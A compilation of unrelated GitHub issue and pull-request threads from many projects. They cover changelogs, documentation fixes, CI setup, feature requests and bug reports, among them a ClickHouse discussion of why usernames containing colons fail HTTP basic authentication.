Also, there are some open bugs with Auga that I will most likely resolve before this will be released.
This is the current changelog:

Added config option to set the mouse button for item cheating
Added the option to remove items from the last viewed list by middle clicking. The mouse button can be changed in the config
Added a config option to disable the last viewed list
Added a config option to rename the attached tab
Added a visual separation between the last viewed list and the item view
Added item count on filter button hover and disable filter with zero items
Added a history of the last viewed pages between search and recipes. The default hotkeys to navigate the history are PageUp and PageDown

This is now released with VNEI 0.8.0 :)


Document how to display the vertex color in SurfaceTool.add_color()

Thanks to @theoway for providing the description (which I modified) :slightly_smiling_face:
This closes https://github.com/godotengine/godot-docs/issues/4083.
Note: When cherry-picking to the 3.2 branch, replace the BaseMaterial3D references with SpatialMaterial.

Thanks!

Cherry-picked for 3.2.4.


Verdaccio script and CI build w/ verdaccio packages

Closes https://github.com/adobe/react-spectrum/issues/2389
✅ Pull Request Checklist:

[ ] Included link to corresponding React Spectrum GitHub Issue.
[ ] Added/updated unit tests and storybook for this change (for new code or code which already has tests).
[ ] Filled out test instructions.
[ ] Updated documentation (if it already exists for this component).
[ ] Looked at the Accessibility Practices for this feature - Aria Practices

📝 Test Instructions:

🧢 Your Project:
RSP

Test app now has a bunch more components (but not all, I'll add more in the future if we are cool with the setup)

@ktabors

Not sure if this running on the master branch in CI is the best. By that point it is too late because the docs change was deployed.

Actually it would be ok since the docs changes that get deployed are built off the currently published packages so the verdaccio built docs would show what the docs WILL look like upon the next release. This is because the currently published packages are behind what is on main since main hasn't been released yet

It wasn't obvious from this PR how to run it locally, but that ended up being easy, ./scripts/verdacio.sh in one command line tab as running process (localhost:4000) and make website-production in a second command line tab once verdacio is up. You'll need to run a python (python -m SimpleHTTPServer 8080) or node http server (http-server) from the docs directory (dist/production/docs).

Haha, good point and thanks for testing it with me on your local machine. If we are ok with this script I'll go ahead and add some documentation somewhere with the same steps you listed above

Looks like something broke when attempting to build the docs w/ verdaccio since the last release, will need to dig

@ktabors

yep for now we look at the build project size and the size of each deployed package. Open to other stats/metrics but those should suffice for now IMO
I changed it to build on main only in preparation for an eventual merge to main. Take a look at https://github.com/adobe/react-spectrum/commit/379c5bf2c95125623510953aa834fca0a449b7ef#comments for the build comments. For reference, you can click the speech button icon on the commits:

I had to bump the node versions for installing/building example project app if I remember correctly


MNT: Re-rendered with conda-smithy 3.1.12 and pinning 2018.09.11

For glib 2.56.

Hi! This is the friendly automated conda-forge-linting service.
I just wanted to let you know that I linted all conda-recipes in your PR (recipe) and found it was in an excellent condition.


Features request - Long press

I added some hot keys in a web app using f1-f5. This worked great until I realized I liked having f5 for browser refresh.
Could a long press feature be implemented so that for example I could either tap f5 to refresh as normal or if I hold down a configurable wait time, say. 5 seconds then it executes the hotkey handler. I could see this being useful for other scenarios.

@Jojoshua This is a good idea, I need time.

@Jojoshua I thought that this can be done in a callback event based on the "shortcut key".

Is it currently possible to use shortcut key like in Visual Studio Code? For example CTRL+K and then follow with f to close folder.


BUG: Bad routing with back arrow on verify of deposit screen

Describe the bug
When on the verifying screen of message deposits of Thorchain or Maya Protocol and pressing the back arrow routes back to the chain detail screen.
To Reproduce
Steps to reproduce the behavior:

Go to message deposit of TC or Maya
seelct an option to go to verify screen
press back arrow
See error

Expected behavior
Go back to the input screen instead
-v20

@vultisig/android Please also verify for sending flow. Also happens there.

[ ] when pressing back on verify in send flow, it ends up on main screen


configurable enclave extrinsic mortality

currently, all extrinsics sent by the enclave are immortal. this way we can't implement timeouts, i.e. for #1257
implementing mortaility means that the extrinsic factory needs to know the last finalized block number and hash (see api-client example
design:

similar to NonceCache, introduce a FinalizedHeader cache for each parentchain
define a constant for mortality like ENCLAVE_EXTRINSIC_MORTALITY = 10 blocks

considerations:

while NonceCache and FinalizedHeaderCache could be merged into one richer struct, that probably doesn't make sense because the nonce cache is mutated by the extrinsic factory while the header cache is not. not sure if deadlocks could happen on the RwLock at least it may not be trivial to prove it can't happen. so better not try

this has become more urgent. The problem is this:

spawn a sidechain and have it all in sync
stop it for 10000 blocks
start it again: it will spam confirmation blocks. if for some reason the process stops now, it won't restart because the pending extrinsics list is so long that we can't start the worker anymore before the pending extrinsics were all included

pending extrinsics are ephemeral per node. restarting all our rococo nodes at the same time solved the problem. That won't work on Kusama where we don't control all collators

since we now know finalized heads in parentchain pallets, we can extend the ParentchainCall to include mortality information


change mongo config reader to uri only

From what I have seen in all the places where there is a connection to Mongo it's with the URI, and also when you open the MongoDB the URI is produced (in atlas/azure at least)
I think it will be more convenient to ask only URI.

Agree.
I have never seen a need to give both username & password to connect to MongoDB it's always a URI 🧐


can not read property 'length' of undefined.

Expected behavior
on press product it open smoothly.
Current Behavior
when render product list I click on product so it's rise this error because. when I am wait 30s more after render product this error not rise
Steps to Reproduce

open side menu
select on category
get products
press on any one product
See error...

Screenshots

Smartphone (please complete the following information):

Magento Version: [2.3.3]
Device: [android simulator]
OS: [android 9.0]

It is hard to reproduce. It probably relates to your Magento instance configuration. If you can send me your magento.js config privately to<EMAIL_ADDRESS>I can try to resolve this issue.

I solve it out I can not get this.props.option undefined. I change some server stuff and it's work fine

@RonakPatel0 thanks for the update, I'll add the fix to prevent a crash for such cases.


PDF in iframe on iPad - only first page is displayed

I am using react-iframe to display a PDF in a React app, however, whereas on a laptop i can scroll through pages of the PDF on an iPad it only displays the first page of the PDF. In more detail:
On a windows laptop (Chrome and Firefox tested):

Open React App
Click to render react-iframe
WORKS AS EXPECTED: react-iframe displays all pages of a multi-page PDF from URL
user can scroll through pages in PDF within the iframe

On an iPad (Chrome and Safari tested):

Open React App
Click to render react-iframe
ISSUE: react-iframe displays only the first page of a multi-page PDF from URL
user can scroll through page 1 only

For debugging i accessed the same PDF URL directly in Safari on the iPad - this worked and i could scroll through all pages. I've also tested with multiple PDF files - all the same.
Code is:
<Iframe url={url}
width="100%"
height="100%"
display="initial"
position="relative"/>

Seeing the same issue on the iPhone X.
Code is:
<Iframe           url={pdf}           width='100%'           height='800px'           id='test title'           display='initial'           position='relative'         />


Canvas minimap unable to focus on specific area when embedded document is zoomed in to a title or block.

Unable to focus on specific area when left-clicking on canvas minimap while embedded document inside Canvas is zoomed in to a title or block.
If the embedded document inside my Canvas is zoomed in to a title or block, then left-clicking on the canvas minimap will not focus on that area.

The zooming in feature is offered by native Obsidian canvas, can you reproduce it by right-clicking a canvas block and selecting "Zoom to selection"?

Upon retesting, I found that it is indeed possible to jump to a block reference. The issue I encountered before was due to a problem with the canvas document I was testing. I apologize for any disturbance caused to your time.


Replace .indexOf(value) !== -1 with .includes

Hello @FloVnst ,
On this repository, we just transpose the english documentation into a french one. For any code change, please create pull request on https://github.com/vuejs/v2.vuejs.org
For the change you want for this file, the equivalent one is : https://github.com/vuejs/v2.vuejs.org/blob/master/src/v2/guide/components-props.md

Hello @Haeresis,
Thanks for your help!
I submitted a new pull request on the english repository as suggested :) :
https://github.com/vuejs/v2.vuejs.org/pull/2931


Server error :  [CRITICAL] WORKER TIMEOUT  ....    [ERROR] Worker (pid:#) was sent SIGKILL! Perhaps out of memory?

I saw the below while attempting a run against mixtral using PR #107
[2024-03-25 21:53:27 -0400] [11801] [CRITICAL] WORKER TIMEOUT (pid:12903)
[2024-03-25 21:53:28 -0400] [11801] [ERROR] Worker (pid:12903) was sent SIGKILL! Perhaps out of memory?
[2024-03-25 21:53:28 -0400] [13179] [INFO] Booting worker with pid: 13179

Server console output:  https://gist.github.com/jwmatthews/32cc1dedd8ecfb2c4364e38533b43fe7

I think this is due to the worker hitting its timeout and the main process killing it. I increased the worker + request timeouts to 3600 seconds and I'm not seeing the issue anymore. Waiting for the run to finish to confirm

I did see the model start 503ing with the files that had a lot of incidents, which made the whole thing restart (ie, it had processed 14/15 incidents, 503ed the last request and then started over at 1/15). I'm adding a retry mechanism for getting individual responses to try to avoid reprocessing so many incidents.


Colon ':' character in username causes username to be parsed incorrectly

Describe the bug
I have a ClickHouse username abc:def.
Performing createClient({ username: 'abc:def', ...}) returns an error of the form.
    abc: Authentication failed: password is incorrect, or there is no user with such name.
      at parseError (node_modules/packages/client-common/src/error/parse_error.ts:29:12)
      at ClientRequest.onResponse (node_modules/packages/client-node/src/connection/node_base_connection.ts:133:28)

As if the first half of the username (abc) is treated as the full username.
Oddly, username abc:def works for the clickhouse client CLI tool.

@Antlion12, can you make it work via curl? I tried a few variations of escaping, but it does not seem to work even there:
CREATE USER 'foo:bar' IDENTIFIED BY ''

This is the reported issue itself:
➜  ~ curl -u "foo:bar:" --data-binary "SELECT 1" "http://localhost:8123"
Code: 516. DB::Exception: foo: Authentication failed: password is incorrect, or there is no user with such name. (AUTHENTICATION_FAILED) (version <IP_ADDRESS>72 (official build))

Manual encoding with %3A does not work:
➜  ~ curl -u "foo%3Abar:" --data-binary "SELECT 1" "http://localhost:8123"
Code: 516. DB::Exception: foo%3Abar: Authentication failed: password is incorrect, or there is no user with such name. (AUTHENTICATION_FAILED) (version <IP_ADDRESS>72 (official build))

Adding backslashes in various representations does not help, too:
➜  ~ curl -u "foo\:bar:" --data-binary "SELECT 1" "http://localhost:8123"
Code: 516. DB::Exception: foo\: Authentication failed: password is incorrect, or there is no user with such name. (AUTHENTICATION_FAILED) (version <IP_ADDRESS>72 (official build))
➜  ~ curl -u "foo\\:bar:" --data-binary "SELECT 1" "http://localhost:8123"
Code: 516. DB::Exception: foo\: Authentication failed: password is incorrect, or there is no user with such name. (AUTHENTICATION_FAILED) (version <IP_ADDRESS>72 (official build))
➜  ~ curl -u "foo%5C:bar:" --data-binary "SELECT 1" "http://localhost:8123"
Code: 516. DB::Exception: foo%5C: Authentication failed: password is incorrect, or there is no user with such name. (AUTHENTICATION_FAILED) (version <IP_ADDRESS>72 (official build))

Wrapping either the username or the password in extra double quotes does not work:
➜  ~ curl -u "foo:bar:""" --data-binary "SELECT 1" "http://localhost:8123"
Code: 516. DB::Exception: foo: Authentication failed: password is incorrect, or there is no user with such name. (AUTHENTICATION_FAILED) (version <IP_ADDRESS>72 (official build))
➜  ~ curl -u ""foo:bar":" --data-binary "SELECT 1" "http://localhost:8123"
Code: 516. DB::Exception: foo: Authentication failed: password is incorrect, or there is no user with such name. (AUTHENTICATION_FAILED) (version <IP_ADDRESS>72 (official build))

NB: clickhouse-client uses TCP/Native, which, unlike the HTTP interface, does not send the username + password as the basic auth header, which is separated by a colon (and this is causing this issue).
NB2: JS URL is not happy about this, too:
new URL('http://foo:bar:qaz@localhost:8123/').username
'foo'
new URL('http://foo\:bar:qaz@localhost:8123/').username
'foo'
new URL('http://foo\\:bar:qaz@localhost:8123/').username
''
new URL('http://foo%3Abar:qaz@localhost:8123/').username
'foo%3Abar'
new URL('http://"foo:bar":qaz@localhost:8123/').username
'%22foo'
new URL('http://\'foo:bar\':qaz@localhost:8123/').username
'%27foo'
new URL('http://\"foo:bar\":qaz@localhost:8123/').username
'%22foo'

The web auth spec is pretty clear: https://www.rfc-editor.org/rfc/rfc2617#section-2
user-pass   = userid ":" password
userid      = *<TEXT excluding ":">
password    = *TEXT

Even if we fix it by sending different headers on the connection level (and adjust a fair bit of tests accordingly), it will still not work with an upcoming URL configuration, and it will require different hacks there (and more testing), as it is essentially working with the JS URL object (which behaves differently than cURL, which still does not work).
I'd say that, for now, we won't fix it. Please use a username compatible with HTTP auth standards.

Appreciate you digging into this @slvrtrn. Those are the exact errors i ran into.
I'll ask our admin to make the change to the username to exclude :.
Meanwhile, where can I file an feature request for clickhouse-client to add validation to disallow :-containing usernames? Or does that require a deeper change to the SQL interpreter?

We could do that if the username is provided via the configuration object, yes.
However, this use case (with URL configuration) is tricky:
> const u = new URL('http://foo:bar:qaz@localhost:8123/db')
> u.username
'foo'
> u.password
'bar%3Aqaz'

Currently, it does not look like we can reasonably assume anything in the client config parser. Multiple colons by the HTTP auth standard are disambiguated with all colons going into the password part, as it is allowed only there. As you can see in the example above, it always goes into the password part (with an automatic URI component encoding), effectively cutting off the rest of the username, which we think was intended to be foo:bar (but we have no way to validate that with the URL, as it could've been username foo + password bar:qaz, and it is perfectly valid).

@Antlion12, regarding disallowing usernames with colons in clickhouse-client (CLI client), as I mentioned, it's only the limitation of the HTTP interface, which is used by many language clients, including this one, but it is not the main one for ClickHouse. The "main" one is TCP, and that is used by the CLI client.
For now, the JS client is tied to the HTTP interface and its related protocol limitations. However, it should not be disallowed in ClickHouse because of specific HTTP standards such as basic auth. And I hope that this client will support TCP in the future, too.

Totally understood. Will just be mindful of that in the future and leave it be. Thanks again!


set color for "on call"

Hello,
I do really like your program, can you please implement a color setting for when I am on a call in teams? teams doesn't activate dnd  status automatically when on call, so would be great to reflect it at least in presencelight.
thank you!

Have you looked at #238?
https://github.com/isaacrlevin/presencelight/issues/238
I added this feature but it is only available in Nightly, I am waiting to publish to Windows and Choco till end of this week.

that's perfect, this is fantastic!


Sketch integration test framework

Handle most of the memory items needed (with Cell and Box<dyn Trait>). However, I hit an issue trying to construct the Extern. Ideally we would only need &mut Storage, so I could use RefCell, but that is acceptable. However, passing in Router as the Querier, which is also the execution environment of the contract itself, is impossible.
I basically need &Router and Router at once! If we could loosen Extern to only require &Querier rather than Querier (which is all it actually uses), then this would be much easier to implement in Rust.
Raised issue https://github.com/CosmWasm/cosmwasm/issues/584 (and maybe this code belongs in cosmwasm to iterate closer with the APIs)

@webmaster128
Code is (almost) all implemented as I envisioned it. A number of TODOs and of course this needs tests with real contracts, but the Rust compiler is happy with the lifetimes here.
There is one obvious issue about a contract querying it's own address in handle, which leads to a runtime error. I can add tests to trigger with mock contracts and look at handling that better, but let's discuss this on a call Wednesday first.

I will merge this, as there is quite some work on top #134 and #135 and I haven't gotten a review here. Happy for any comments on this code and I will address it later. But quite some is modified in the other PRs anyway.


update the readme of link

Most of the texts are copied from the old API documentation. The doc of link.id is copied from your commit message.

I’ve rewritten everything, but thanks.


Perk Feature: Higher Max Speed

Max speed is determined by server and sp. Esch car has a max speed that caps to the servers one. So lower levels, lower max speed.